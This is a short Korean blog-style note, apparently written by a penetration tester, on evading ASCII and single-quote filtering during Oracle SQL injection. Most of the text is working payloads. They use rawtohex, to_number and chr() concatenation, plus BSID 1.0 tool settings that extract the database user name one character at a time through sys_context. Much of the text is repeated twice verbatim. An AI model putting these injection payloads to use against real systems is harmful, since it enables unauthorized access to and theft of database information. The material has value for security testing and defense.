오늘 진단하다 ASCII를 필터링 하는 곳을 만났다.
하다보니 SELECT, FROM은 그냥 우회가 되었는뎅 ASCII필터링이라 참 골때리는 상황이다.
일단 ORACLE에서 급하게 우회 기법에 대해서 찾아 보았다.
하다보니 SELECT, FROM은 그냥 우회가 되었는뎅 ASCII필터링이라 참 골때리는 상황이다.
일단 ORACLE에서 급하게 우회 기법에 대해서 찾아 보았다.
■ 임시 해결책
select to_number(rawtohex('C'),'XXX') from dual;
Single Quote Filtering 되어 있을 경우
select to_number(rawtohex(chr(67)),chr(88)||chr(88)||chr(88)) from dual;
예시) BSID 1.0의 FILE → Setup → User Code 에
DB Server : ORALCE
Length : (select+length(sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
chr(78)||chr(86),chr(68)||chr(66)||chr(95)||chr(78)||chr(65)||chr(77)||
chr(69)))from+dual)
Substing : (select+to_number(rawtohex(substr(sys_context(chr(85)||chr(83)||
chr(69)||chr(82)||chr(69)||chr(78)||chr(86),chr(68)||chr(66)||chr(95)||
chr(78)||chr(65)||chr(77)||chr(69)),SUBSTRCNT,1)),chr(88)||chr(88)||
chr(88))from+dual)
Index : 버튼번호(오라클 사용자 정의쿼리가 처음이면 1을 입력)
Name : DB_USER
위의 명령을 삽입하고 수행하면 사용자 명 획득이 가능하다.
select to_number(rawtohex('C'),'XXX') from dual;
Single Quote Filtering 되어 있을 경우
select to_number(rawtohex(chr(67)),chr(88)||chr(88)||chr(88)) from dual;
예시) BSID 1.0의 FILE → Setup → User Code 에
DB Server : ORALCE
Length : (select+length(sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
chr(78)||chr(86),chr(68)||chr(66)||chr(95)||chr(78)||chr(65)||chr(77)||
chr(69)))from+dual)
Substing : (select+to_number(rawtohex(substr(sys_context(chr(85)||chr(83)||
chr(69)||chr(82)||chr(69)||chr(78)||chr(86),chr(68)||chr(66)||chr(95)||
chr(78)||chr(65)||chr(77)||chr(69)),SUBSTRCNT,1)),chr(88)||chr(88)||
chr(88))from+dual)
Index : 버튼번호(오라클 사용자 정의쿼리가 처음이면 1을 입력)
Name : DB_USER
위의 명령을 삽입하고 수행하면 사용자 명 획득이 가능하다.